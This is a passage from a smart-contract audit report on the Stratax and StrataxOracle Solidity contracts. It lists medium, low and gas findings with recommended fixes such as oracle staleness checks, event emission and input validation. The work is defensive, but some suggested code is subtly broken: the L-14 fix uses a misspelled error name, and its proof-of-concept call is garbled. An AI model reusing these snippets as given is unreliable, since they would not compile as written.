[M-25] Use `SafeERC20` for Final Flash Loan Repayment Approval

Description: Final approval is critical and should not rely on raw ERC20 behavior.

Impact: Medium — could prevent flash loan repayment completion.

Recommended Mitigation:

```
- IERC20(_asset).approve(address(aavePool), totalDebt);
+ IERC20(_asset).forceApprove(address(aavePool), totalDebt);
```

[M-26] Atomic Loop Reverts on Single Bad Entry (Single Failure Blocks Batch Update + DoS-on-Batch Risk)

Description:

Inside `StrataxOracle::setPriceFeeds`, each iteration calls `StrataxOracle::_setPriceFeed()` which can revert on invalid inputs or failing decimals check. A single invalid item causes the entire batch to revert, preventing valid updates in the same transaction.

```
@> for (uint256 i = 0; i < _tokens.length; i++) {
@>     _setPriceFeed(_tokens[i], _priceFeeds[i]);
@>     emit PriceFeedUpdated(_tokens[i], _priceFeeds[i]);
@> }
```

And `StrataxOracle::_setPriceFeed` contains multiple `require()` statements that can revert:

```
@> require(_token != address(0), "Invalid token address");
@> require(_priceFeed != address(0), "Invalid price feed address");
@> require(priceFeed.decimals() == 8, "Price feed must have 8 decimals");
```

Impact:

- Batch update becomes “all-or-nothing”: one bad pair blocks all other valid pairs.
- Operational DoS risk for batch maintenance (especially when updating many feeds).
- Poor resilience: operators must retry with smaller batches or pre-validate off-chain.

Proof of Concept:

If one `_priceFeed` is `address(0)` (or returns decimals != 8), the whole transaction reverts and none of the other valid feeds are updated.

Recommended Mitigation:

Option A (preferred): pre-validate all entries first, then apply updates (still atomic but fails early with better guarantees):

```
for (uint256 i = 0; i < len; i++) {
    _validateFeed(_tokens[i], _priceFeeds[i]); // no state changes
}
for (uint256 i = 0; i < len; i++) {
    _setPriceFeedUnchecked(_tokens[i], _priceFeeds[i]); // state changes only
    emit PriceFeedUpdated(_tokens[i], _priceFeeds[i]);
}
```

Option B: make the batch **best-effort** (process valid entries, skip invalid), and emit an event for failures:

```
event PriceFeedUpdateFailed(address token, address priceFeed, bytes reason);

for (uint256 i = 0; i < len; i++) {
    try this.__setPriceFeedExternal(_tokens[i], _priceFeeds[i]) {
        emit PriceFeedUpdated(_tokens[i], _priceFeeds[i]);
    } catch (bytes memory reason) {
        emit PriceFeedUpdateFailed(_tokens[i], _priceFeeds[i], reason);
    }
}
```

> *Note: `try/catch` requires an external call boundary (e.g., a dedicated external function). This increases gas, so choose based on operational needs.*

[M-27] Oracle Manipulation / Unsafe Oracle Read (Single `latestRoundData` Read + Price Integrity Risk)

Description:

The price is taken directly from `latestRoundData()` with minimal validation (`answer > 0`). This pattern can be unsafe depending on how `StrataxOracle::getPrice` is used (e.g., lending, liquidation, swaps), because it does not validate round completeness/freshness or other oracle safety conditions.

```
@> (, int256 answer,,,) = priceFeed.latestRoundData();
```

Impact:

- If downstream logic relies on `StrataxOracle::getPrice` for critical accounting, an attacker may exploit oracle weaknesses (stale data, downtime, or manipulated underlying market feeding the oracle).
- Missing checks can lead to using outdated or invalid rounds, causing incorrect pricing and potential loss of funds.
- Increased systemic risk when used in sensitive protocols (borrow/repay, collateral valuation, mint/redeem).

Proof of Concept:

Current code only checks:

```
require(answer > 0, "Invalid price from oracle");
```

But does **not** verify:

- `updatedAt` is recent (staleness)
- `answeredInRound >= roundId` (round completeness)
- `roundId != 0`
- (optional) L2 sequencer uptime checks (if deployed on L2s)

Recommended Mitigation:

Perform stronger validation on oracle data and enforce staleness bounds:

```
error StrataxOracle__StalePrice();
error StrataxOracle__IncompleteRound();
error StrataxOracle__InvalidOracleAnswer();

uint256 internal constant MAX_PRICE_AGE = 1 hours;

function getPrice(address _token) public view returns (uint256 price) {
    if (_token == address(0)) revert StrataxOracle__ZeroTokenAddress();

    address priceFeedAddress = priceFeeds[_token];
    if (priceFeedAddress == address(0)) revert StrataxOracle__PriceFeedNotSet();

    AggregatorV3Interface priceFeed = AggregatorV3Interface(priceFeedAddress);

    (uint80 roundId, int256 answer,, uint256 updatedAt, uint80 answeredInRound) =
        priceFeed.latestRoundData();

    if (answer <= 0) revert StrataxOracle__InvalidOracleAnswer();
    if (answeredInRound < roundId) revert StrataxOracle__IncompleteRound();
    if (updatedAt == 0 || block.timestamp - updatedAt > MAX_PRICE_AGE) revert StrataxOracle__StalePrice();

    price = uint256(answer);
}
```

If `StrataxOracle::getPrice` is used for high-stakes value transfers, also consider:

- using Chainlink's recommended L2 sequencer uptime feed checks (on supported L2s),
- adding a circuit breaker / sanity bounds (max deviation),
- or using TWAP/medianization where applicable.

Low

[L-1] Floating Pragma May Lead to Inconsistent Compilation both contracts (Stratax and StrataxOracle)

Description: The contract uses a floating Solidity pragma:

```
@> pragma solidity ^0.8.13;
```

Using the caret (`^`) allows the code to be compiled with any future compatible version (e.g., `0.8.14`, `0.8.20`, etc.). Different compiler versions may introduce changes in:

- Optimizer behavior
- Code generation
- Security checks
- Edge-case semantics

This can result in the contracts being compiled differently across environments (local, CI, auditors, or future deployments).

Impact: While not an immediate vulnerability, floating pragmas create **build non-determinism**, which:

- Makes audits non-reproducible
- Can introduce unnoticed behavioral changes when recompiling
- Increases long-term maintenance and deployment risk

Recommended Mitigation: Pin the Solidity version to an exact compiler to ensure deterministic builds:

```
pragma solidity 0.8.13;
```

[L-2] Unused Interface Leads to ABI Drift Risk

Description: The repository defines an `IStratax` interface that specifies the expected external API, events, and structs of the protocol, but the main implementation:

```
@> contract Stratax is Initializable {
```

does **not inherit from nor explicitly implement** `IStratax`.

As a result:

- The compiler does not enforce that `Stratax` matches the declared interface.
- Function signatures, return values, or visibility may unintentionally diverge.
- Events defined in the interface may be missing or inconsistently emitted.
- Future upgrades can silently break integrations without compilation errors.

Interfaces in Solidity serve as a **compile-time contract**. Not using them removes this safety layer and creates a risk of ABI drift between the documented API (`IStratax`) and the actual deployed implementation.

Impact: This is primarily a maintainability and integration risk:

- Integrators relying on `IStratax` may interact with a contract that does not fully conform to it.
- Refactors can introduce breaking changes without being detected during compilation.
- Audits and tooling cannot rely on the interface as the source of truth.
- Event mismatches may break off-chain indexers or monitoring systems.

No immediate loss of funds is caused, but the pattern increases the likelihood of future integration or upgrade errors.

Recommended Mitigation: Explicitly bind the implementation to the interface:

```
+       contract Stratax is Initializable, IStratax {
-       contract Stratax is Initializable {
```

This ensures the compiler enforces:

- Full implementation of all required functions
- Correct signatures and visibility
- ABI consistency with the documented specification

If certain functions are intentionally excluded, the interface should be updated to reflect the true external surface instead of remaining unused.

[L-3] Missing Event Emission on Oracle Update Reduces Off-Chain Observability

Description: `Stratax::setStrataxOracle()` updates a critical dependency (`strataxOracle`) but does not emit any event:

```
function setStrataxOracle(address _strataxOracle) external onlyOwner {
    require(_strataxOracle != address(0), "Invalid oracle address");
    strataxOracle = _strataxOracle;
}
```

For admin changes (especially oracle changes), emitting an event is important so indexers, monitoring bots, frontends, and auditors can reliably track configuration changes over time.

Impact: Low. No direct on-chain vulnerability, but it:

- Makes it harder to detect oracle changes off-chain
- Reduces transparency and operational monitoring
- Complicates incident response / forensic analysis

Recommended Mitigation: Add an event and emit it when updating the oracle (ideally including old + new address).

```
+ event StrataxOracleUpdated(address indexed oldOracle, address indexed newOracle);

function setStrataxOracle(address _strataxOracle) external onlyOwner {
    require(_strataxOracle != address(0), "Invalid oracle address");
+   address oldOracle = strataxOracle;
    strataxOracle = _strataxOracle;
+   emit StrataxOracleUpdated(oldOracle, _strataxOracle);
}
```

[L-4] Missing Event Emission on Flash Loan Fee Update Reduces Transparency

Description: The `Stratax::setFlashLoanFee()` function updates a key protocol parameter (`flashLoanFeeBps`) but does not emit an event reflecting this change:

```
function setFlashLoanFee(uint256 _flashLoanFeeBps) external onlyOwner {
    require(_flashLoanFeeBps < FLASHLOAN_FEE_PREC, "Fee must be < 100%");
    flashLoanFeeBps = _flashLoanFeeBps;
}
```

Flash loan fees directly affect user costs and protocol behavior. Without an event, off-chain systems cannot easily track when or how this economic parameter changes.

Impact: Low. No direct security issue, but:

- Reduces visibility for integrators and monitoring tools
- Makes it harder to audit governance/admin actions
- Prevents indexers and UIs from reacting to fee updates automatically

Recommended Mitigation: Emit an event including the previous and new fee values.

```
+ event FlashLoanFeeUpdated(uint256 oldFeeBps, uint256 newFeeBps);

function setFlashLoanFee(uint256 _flashLoanFeeBps) external onlyOwner {
    require(_flashLoanFeeBps < FLASHLOAN_FEE_PREC, "Fee must be < 100%");
+   uint256 oldFee = flashLoanFeeBps;
    flashLoanFeeBps = _flashLoanFeeBps;
+   emit FlashLoanFeeUpdated(oldFee, _flashLoanFeeBps);
}
```

This ensures configuration changes are transparently tracked and easily consumable by off-chain infrastructure.

[L-5] Missing Input Validation in `Stratax::recoverTokens` Allows Invalid Parameters

Description: `Stratax::recoverTokens` does not validate the inputs `_token` and `_amount`:

```
function recoverTokens(address _token, uint256 _amount) external onlyOwner {
    IERC20(_token).transfer(owner, _amount);
}
```

This allows:

- `_token == address(0)` (will revert or behave unexpectedly)
- `_amount == 0` (no-op calls that may hide operator mistakes)

Impact: Low. This is mainly an operational robustness issue that can lead to misconfiguration calls and confusing behavior during emergency recovery.

Recommended Mitigation: Add basic parameter checks:

```
function recoverTokens(address _token, uint256 _amount) external onlyOwner {
+   require(_token != address(0), "Invalid token");
+   require(_amount > 0, "Invalid amount");
    IERC20(_token).transfer(owner, _amount);
}
```

[L-6] Missing Event Emission on Ownership Transfer Reduces Administrative Traceability

Description: The `Stratax::transferOwnership` function updates the `owner` state variable but does not emit an event to signal this critical administrative change:

```
function transferOwnership(address _newOwner) external onlyOwner {
    require(_newOwner != address(0), "Invalid address");
    owner = _newOwner;
}
```

Ownership changes are highly sensitive operations that should always be observable by off-chain systems. Without an event, it becomes difficult for indexers, monitoring tools, and auditors to track when control of the contract has changed.

Impact: Low. No direct security risk, but:

- Reduces transparency of privileged operations
- Makes ownership changes harder to monitor or audit
- Can delay detection of unauthorized or accidental transfers in operational environments

Recommended Mitigation: Emit an event including both the previous and new owner.

```
+ event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

function transferOwnership(address _newOwner) external onlyOwner {
    require(_newOwner != address(0), "Invalid address");
+   address oldOwner = owner;
    owner = _newOwner;
+   emit OwnershipTransferred(oldOwner, _newOwner);
}
```

This aligns with common best practices (e.g., OpenZeppelin's `Ownable`) and improves observability of privileged state transitions.

[L-7] Missing Zero-Address Validation in `Stratax::calculateUnwindParams` Can Cause Misconfiguration Reverts

Description: `Stratax::calculateUnwindParams` does not validate `_collateralToken` and `_borrowToken` before using them in external calls:

```
function calculateUnwindParams(address _collateralToken, address _borrowToken)
    public
    view
    returns (uint256 collateralToWithdraw, uint256 debtAmount)
{
    (,, address debtToken) = aaveDataProvider.getReserveTokensAddresses(_borrowToken);
    ...
    uint256 collateralTokenPrice = IStrataxOracle(strataxOracle).getPrice(_collateralToken);
}
```

If either token parameter is `address(0)`, the function may revert or produce undefined behavior depending on downstream calls (Aave data provider, oracle, `IERC20.decimals()`).

Impact: Low. This is mainly an input-sanity / robustness issue that can lead to confusing reverts and operational mistakes, especially when this function is used by frontends or scripts.

Recommended Mitigation:

```
function calculateUnwindParams(address _collateralToken, address _borrowToken)
    public
    view
    returns (uint256 collateralToWithdraw, uint256 debtAmount)
{
+   require(_collateralToken != address(0), "Invalid collateral token");
+   require(_borrowToken != address(0), "Invalid borrow token");
    ...
}
```

(Optionally also validate `strataxOracle != address(0)` if it's not guaranteed elsewhere.)

[L-8] Magic Number `2` Used for Interest Rate Mode Reduces Clarity

Description: Borrow uses a hardcoded `2`:

```
aavePool.borrow(..., 2, ...); // Variable interest rate mode
```

Impact: Low. Reduces readability and increases chance of mistakes if reused or changed.

Recommended Mitigation:

```
+ uint256 internal constant VARIABLE_RATE_MODE = 2;

- aavePool.borrow(flashParams.borrowToken, flashParams.borrowAmount, 2, 0, address(this));
+ aavePool.borrow(flashParams.borrowToken, flashParams.borrowAmount, VARIABLE_RATE_MODE, 0, address(this));
```

[L-9] Magic Number `1e18` for Health Factor Threshold Should Be a Named Constant

Description: The health factor check uses a literal:

```
require(healthFactor > 1e18, "Position health factor too low");
```

Impact: Low. Reduces readability and makes it easier to introduce inconsistencies if threshold changes.

Recommended Mitigation:

```
+ uint256 internal constant MIN_HEALTH_FACTOR = 1e18;

- require(healthFactor > 1e18, "Position health factor too low");
+ require(healthFactor > MIN_HEALTH_FACTOR, "Position health factor too low");
```

[L-10] Magic Number `2` Used as Interest Rate Mode Reduces Readability

Description: The contract uses a hardcoded value:

```
aavePool.repay(_asset, _amount, 2, address(this));
```

Impact: Low. Hardcoded values reduce readability and increase the risk of misuse or misunderstanding.

Recommended Mitigation:

```
+ uint256 internal constant VARIABLE_RATE_MODE = 2;

- aavePool.repay(_asset, _amount, 2, address(this));
+ aavePool.repay(_asset, _amount, VARIABLE_RATE_MODE, address(this));
```

[L-11] Unused Interface Declaration (Dead Code + Maintainability Impact)

Description:

The project declares an interface `IStrataxOracle`, but it is not used anywhere in the codebase. This results in dead code that increases maintenance overhead and may cause confusion for future developers.

```
@> interface IStrataxOracle {
```

Impact:

- Reduces codebase clarity and maintainability.
- May mislead developers into believing the interface is being enforced or integrated.
- Increases audit surface unnecessarily.
- Could indicate incomplete implementation or refactoring leftovers.

Although this does not introduce a direct security vulnerability, it negatively impacts code quality and long-term maintainability.

Proof of Concept:

Search across the codebase:

```
grep -r "IStrataxOracle" .
```

The only occurrence found is the interface declaration itself, confirming it is unused.

Recommended Mitigation:

If the interface is not intended to be used, remove it:

```
- interface IStrataxOracle {
-     ...
- }
```

If it is meant to standardize interactions with `StrataxOracle`, ensure the contract explicitly implements it:

```
contract StrataxOracle is IStrataxOracle {
    ...
}
```

This will improve code clarity and ensure proper interface enforcement.

[L-12] Missing Storage Variable Documentation (Lack of Comments + Readability Impact)

Description:

The storage section does not include descriptive comments explaining the purpose of each variable, reducing readability and maintainability.

```
@> address public owner;
```

Unlike the section header, individual variables lack proper inline documentation.

Impact:

- Reduces clarity for developers and auditors.
- Increases cognitive load when reviewing state logic.
- Makes future modifications more error-prone.
- Slows down onboarding for new contributors.

This is not a security vulnerability but negatively affects code quality and maintainability.

Proof of Concept:

The `owner` variable is declared without describing its role, permissions, or lifecycle behavior.

Recommended Mitigation:

Add descriptive comments to each storage variable:

```
/// @notice Address with administrative privileges
/// @dev Can update oracle parameters and transfer ownership
address public owner;
```

Or alternatively:

```
/// @notice Contract administrator
address public owner;
```

This improves readability and auditability.

[L-13] Inconsistent Storage Naming Convention (Unclear State Variables + Maintainability Impact)

Description:

The contract does not follow a clear naming convention to distinguish storage variables from local or memory variables.

```
@> address public owner;
```

Using generic names such as `owner` may reduce clarity in larger contracts, especially when local variables or parameters share similar names.

Impact:

- Makes it harder to visually distinguish storage variables from function parameters.
- Increases risk of shadowing or accidental misuse.
- Reduces consistency and professional code standards.
- Slightly increases review and audit complexity.

While not a direct security issue, consistent naming significantly improves maintainability and reduces human error risk.

Recommended Mitigation:

Adopt a clear naming convention for storage variables, such as prefixing with `s_`:

```
- address public owner;
+ address public s_owner;
```

Or use uppercase for immutable/constants where appropriate:

```
address public s_owner;
```

Additionally, update references across the contract:

```
require(msg.sender == s_owner, "Not owner");
```

This enhances readability and aligns with best practices in Solidity development.

[L-14] Missing Empty Array Validation (Invalid Input Not Rejected + UX/Consistency Impact)

Description:

`StrataxOracle::setPriceFeeds` validates array length equality, but does not reject empty arrays. This allows no-op calls that waste gas and may create misleading "successful" transactions.

```
@> require(_tokens.length == _priceFeeds.length, "Array length mismatch");
```

Impact:

- Allows meaningless transactions (no updates performed).
- Wastes gas and can confuse integrators/ops tooling.
- Inconsistent input validation (length match is checked, but emptiness is not).

Proof of Concept:

Calling:

```
setPriceFeeds(new address, new address);
```

passes the current require, but does not update anything.

Recommended Mitigation:

Add an explicit empty check before the length equality check (and prefer custom errors if already adopted):

```
error StrataxOracle__EmptyArray();
error StrataxOracle__ArrayLengthMismatch();

if (_tokens.length == 0 || _priceFeeds.length == 0) revert EStrataxOracle__mptyArray();
if (_tokens.length != _priceFeeds.length) revert StrataxOracle__ArrayLengthMismatch();
```

[L-15] Magic Number for Decimals Check (Hardcoded Constant + Maintainability Impact)

Description:

The decimals requirement is enforced using a hardcoded literal `8`, which is a magic number and reduces clarity.

```
@> require(priceFeed.decimals() == 8, "Price feed must have 8 decimals");
```

Impact:

- Reduces readability: “8” has implicit meaning and may not be obvious to future maintainers.
- Harder to modify if requirements change (e.g., supporting other feed decimal formats).
- Encourages duplication if the same value is checked elsewhere.

Proof of Concept:

The check uses a literal rather than a named constant, making the rule non-self-documenting.

Recommended Mitigation:

Introduce a named constant (or immutable config if you want flexibility):

```
uint8 internal constant PRICE_FEED_DECIMALS = 8;

if (priceFeed.decimals() != PRICE_FEED_DECIMALS) revert StrataxOracle__InvalidPriceFeedDecimals();
```

With a custom error:

```
error StrataxOracle__InvalidPriceFeedDecimals();
```

This improves readability and reduces future maintenance risk.

[L-16] Missing Zero-Address Validation for `_token` (Invalid Input + Readability/Correctness Impact)

Description:

`StrataxOracle::getPrice` does not validate that `_token` is not the zero address before reading from `StrataxOracle::priceFeeds`. This can lead to ambiguous behavior (e.g., querying `priceFeeds[address(0)]`) and makes integrations more error-prone.

```
@> address priceFeedAddress = priceFeeds[_token];
```

Impact:

- Allows accidental calls with `address(0)` that may return misleading results or revert unexpectedly.
- Reduces API correctness guarantees and increases integration risk.
- Minor maintainability issue (implicit assumption not enforced).

Proof of Concept:

Calling:

```
getPrice(address(0));
```

will read from `priceFeeds[address(0)]`, which is typically unset and triggers the revert "`Price feed not set for token`" (or could succeed if mistakenly configured).

Recommended Mitigation:

Add an explicit zero-address check (preferably with a custom error if you are standardizing on them):

```
error StrataxOracle__ZeroTokenAddress();
error StrataxOracle__PriceFeedNotSet();

function getPrice(address _token) public view returns (uint256 price) {
    if (_token == address(0)) revert StrataxOracle__ZeroTokenAddress();

    address priceFeedAddress = priceFeeds[_token];
    if (priceFeedAddress == address(0)) revert StrataxOracle__PriceFeedNotSet();

    AggregatorV3Interface priceFeed = AggregatorV3Interface(priceFeedAddress);
    (, int256 answer,,,) = priceFeed.latestRoundData();
    if (answer <= 0) revert StrataxOracle__InvalidOracleAnswer();

    price = uint256(answer);
}
```

[L-17] Missing Zero-Address Validation in `StrataxOracle::getPriceDecimals` (Invalid Input + API Correctness Impact)

Description:

The function `StrataxOracle::getPriceDecimals` does not validate that `_token` is not the zero address before accessing the `priceFeeds` mapping. This can lead to ambiguous behavior and weak input guarantees.

```
@> address priceFeedAddress = priceFeeds[_token];
```

If `_token == address(0)`, the function reads `priceFeeds[address(0)]`, which may revert indirectly or return misleading results if mistakenly configured.

Impact:

- Allows accidental misuse of the function with `address(0)`.
- Weakens input validation consistency across the contract.
- Reduces API safety guarantees for integrators.
- Minor maintainability and correctness issue.

This is not a direct security vulnerability, but it reflects inconsistent validation practices.

Proof of Concept:

Calling:

```
getPriceDecimals(address(0));
```

will attempt to read `priceFeeds[address(0)]`, which may:

- Revert with "`Price feed not set for token`", or
- Succeed if misconfigured.

Recommended Mitigation:

Add explicit zero-address validation and migrate to custom errors if already adopted elsewhere:

```
error ZeroTokenAddress();
error PriceFeedNotSet();

function getPriceDecimals(address _token) public view returns (uint8 decimals) {
    if (_token == address(0)) revert ZeroTokenAddress();

    address priceFeedAddress = priceFeeds[_token];
    if (priceFeedAddress == address(0)) revert PriceFeedNotSet();

    AggregatorV3Interface priceFeed = AggregatorV3Interface(priceFeedAddress);
    decimals = priceFeed.decimals();
}
```

This improves consistency, readability, and defensive programming practices across the contract.

[L-18] Missing Zero-Address Validation in `StrataxOracle::getRoundData` (Invalid Input + Defensive Programming Gap)

Description:

The function `StrataxOracle::getRoundData` does not validate that `_token` is not the zero address before accessing the `priceFeeds` mapping. This allows unintended calls using `address(0)` and weakens input validation consistency across the contract.

```
@> address priceFeedAddress = priceFeeds[_token];
```

If `_token == address(0)`, the function reads `priceFeeds[address(0)]`, which may revert indirectly or behave unexpectedly if misconfigured.

Impact:

- Allows accidental misuse of the function with `address(0)`.
- Weakens API guarantees for external integrations.
- Inconsistent validation compared to best practices for external-facing functions.
- Minor maintainability and correctness issue.

This is not a direct security vulnerability but reflects incomplete defensive validation.

Proof of Concept:

Calling:

```
getRoundData(address(0));
```

will attempt to read `priceFeeds[address(0)]`, potentially:

- Reverting with "`Price feed not set for token`", or
- Succeeding if the zero address was mistakenly configured.

Recommended Mitigation:

Add an explicit zero-address check and migrate to custom errors for gas efficiency and consistency:

```
error ZeroTokenAddress();
error PriceFeedNotSet();

function getRoundData(address _token)
    public
    view
    returns (
        uint80 roundId,
        int256 answer,
        uint256 startedAt,
        uint256 updatedAt,
        uint80 answeredInRound
    )
{
    if (_token == address(0)) revert ZeroTokenAddress();

    address priceFeedAddress = priceFeeds[_token];
    if (priceFeedAddress == address(0)) revert PriceFeedNotSet();

    AggregatorV3Interface priceFeed = AggregatorV3Interface(priceFeedAddress);
    (roundId, answer, startedAt, updatedAt, answeredInRound) =
        priceFeed.latestRoundData();
}
```

This ensures stronger input validation, improved consistency, and better gas efficiency across the contract.

Gas Optimizations

[G-1] Missing Storage Naming Convention Reduces Codebase Readability

Description: State variables are declared without a naming convention that distinguishes them from local or memory variables:

```
@> IPool public aavePool;
@> IProtocolDataProvider public aaveDataProvider;
@> IAggregationRouter public oneInchRouter;
@> address public USDC;
@> address public strataxOracle;
@> address public owner;
@> uint256 public flashLoanFeeBps;
```

In larger contracts, especially those involving complex execution flows (flash loans, swaps, callbacks), not differentiating storage variables can make it harder to quickly identify whether a variable is:

- A storage pointer
- A memory copy
- A function parameter
- A cached value

This increases cognitive load during reviews, audits, and future maintenance.

Impact: No direct security risk. However, lack of a clear convention:

- Makes audits and debugging more error-prone
- Increases the chance of accidental shadowing
- Slows down development and review processes
- Reduces consistency with common Solidity style guides used in mature codebases

Recommended Mitigation: Adopt a clear prefix for storage variables, such as `s_`, to explicitly signal persistent state:

```
+ IPool public s_aavePool;
+ IProtocolDataProvider public s_aaveDataProvider;
+ IAggregationRouter public s_oneInchRouter;
+ address public s_USDC;
+ address public s_strataxOracle;
+ address public s_owner;
+ uint256 public s_flashLoanFeeBps;
```

Ensure the convention is documented and consistently applied across the repository.

[G-2] Use of Magic Number for Flash Loan Fee Reduces Configurability and Clarity

Description: The initializer sets the flash loan fee using a hardcoded literal:

```
flashLoanFeeBps = 9; // Default 0.09% Aave flash loan fee
```

Using unnamed numeric literals ("magic numbers") makes the code harder to understand and maintain, as the meaning of `9` is not enforced by the type system and relies solely on comments for context.

If the value needs to be reused, updated, or validated elsewhere, developers must manually track where this number appears, increasing the risk of inconsistencies.

Impact: No direct security impact. However, magic numbers:

- Reduce readability and self-documentation of the code
- Increase maintenance risk if the fee model changes
- Make audits and reviews harder, as intent is not explicitly encoded

Recommended Mitigation: Define a named constant that clearly expresses the purpose of the value:

```
uint256 public constant DEFAULT_FLASH_LOAN_FEE_BPS = 9;
```

Then use it during initialization:

```
flashLoanFeeBps = DEFAULT_FLASH_LOAN_FEE_BPS;
```

This improves clarity, avoids duplication, and makes future updates safer and more explicit.

[G-3] Use Custom Errors Instead of Revert Strings for Cheaper and More Structured Reverts

Description: The codebase relies on `require(..., "message")` / revert strings for multiple failure scenarios (e.g., zero address inputs, swap failures, insufficient return amounts, insufficient funds to repay flash loans, invalid prices, etc.). With ~13 distinct revert reasons, this pattern becomes unnecessarily expensive in both **deployment bytecode size** and **runtime revert costs**.

Solidity supports **custom errors** (`error X();`), which are ABI-encoded using a 4-byte selector (plus optional typed arguments) instead of embedding full revert strings in the bytecode. This significantly reduces bytecode size and improves gas efficiency.

Additionally, custom errors are only available starting from **Solidity ≥ 0.8.4**, so adopting this pattern requires compiling the contracts with at least that version.

Impact: No direct security impact, but there are clear optimization and maintainability benefits:

- Reduced deployment gas due to smaller bytecode (strings are not stored on-chain).
- Cheaper revert execution, especially valuable in complex flows such as flash loans and swap callbacks.
- Strongly-typed, machine-decodable errors improve integration with frontends, indexers, and monitoring tools.
- Cleaner and more auditable failure handling.

Proof of Concept:

Current pattern:

```
require(_addr != address(0), "address = 0");
require(amountOut >= minReturn, "Insufficient return amount from swap");
require(success, "1inch swap failed");
require(balance >= repay, "Insufficient funds to repay flash loan");
require(price > 0, "Invalid prices");
```

Proposed pattern using custom errors:

```
error ZeroAddress();
error InsufficientReturnAmount(uint256 amountOut, uint256 minReturn);
error OneInchSwapFailed();
error InsufficientFundsToRepayFlashLoan(uint256 balance, uint256 repay);
error InvalidPrices();
```

Usage:

```
if (_addr == address(0)) revert ZeroAddress();
if (amountOut < minReturn) revert InsufficientReturnAmount(amountOut, minReturn);
if (!success) revert OneInchSwapFailed();
if (balance < repay) revert InsufficientFundsToRepayFlashLoan(balance, repay);
if (price == 0) revert InvalidPrices();
```

Recommended Mitigation:

1. Upgrade the compiler version to **at least Solidity `0.8.4`** (preferably a pinned modern version such as `0.8.20+`).
2. Replace revert strings with well-defined custom errors across the codebase.
3. Use parameters in errors only where they provide meaningful debugging context.
4. Maintain a consistent naming convention for errors to keep the API predictable and easy to integrate with.

This change improves gas efficiency, reduces bytecode size, and modernizes the codebase according to current Solidity best practices.

[G-4] Repeated `10 ** IERC20(...).decimals()` Calls Increase Gas Usage

Description: The function repeatedly computes:

```
10 ** IERC20(token).decimals()
```

This introduces unnecessary external calls and exponentiation costs.

Impact: Gas inefficiency and redundant execution overhead.

Recommended Mitigation: Cache scaling factors once:

```
uint256 collateralScale = 10 ** IERC20(unwindParams.collateralToken).decimals();
uint256 debtScale = 10 ** IERC20(_asset).decimals();
```

[G-5] Recomputing `returnAmount - totalDebt` Wastes Gas

Description: The expression is computed multiple times instead of cached.

Impact: Minor gas inefficiency and reduced readability.

Recommended Mitigation:

```
+ uint256 leftover = returnAmount - totalDebt;
+ if (leftover > 0) {
+     IERC20(_asset).approve(address(aavePool), leftover);
+     aavePool.supply(_asset, leftover, address(this), 0);
+ }
```

[G-6] Use Custom Errors Instead of Require Strings (String Revert Cost + Gas Impact)

Description:

The contract uses revert strings inside `require`, which are more expensive in gas compared to custom errors introduced in Solidity `^0.8.4`.

```
@> require(msg.sender == owner, "Not owner");
```

Revert strings are stored in bytecode, increasing deployment cost and runtime gas consumption.

Impact:

- Higher deployment gas cost (strings increase bytecode size).
- Higher runtime gas cost when revert is triggered.
- Repeated string literals across the contract amplify inefficiency.
- Avoidable gas waste, especially in frequently called functions.

While this does not introduce a security vulnerability, it negatively impacts gas efficiency.

Proof of Concept:

Current implementation:

```
require(msg.sender == owner, "Not owner");
```

Optimized implementation using custom errors:

```
error StrataxOracle__NotOwner();

if (msg.sender != owner) {
    revert StrataxOracle__NotOwner();
}
```

Gas savings come from:

- Removing string storage from bytecode
- Using 4-byte error selector instead of full string encoding

Recommended Mitigation:

1. Declare custom errors at the top of the contract:

```
error StrataxOracle__NotOwner();
```

2. Replace all occurrences of string-based require statements:

```
- require(msg.sender == owner, "Not owner");
+ if (msg.sender != owner) revert StrataxOracle__NotOwner();
```

If multiple access-control checks exist, define reusable errors:

```
error StrataxOracle__Unauthorized();
error StrataxOracle__ZeroAddress();
error StrataxOracle__InvalidParameter();
```

This approach improves gas efficiency and follows modern Solidity best practices.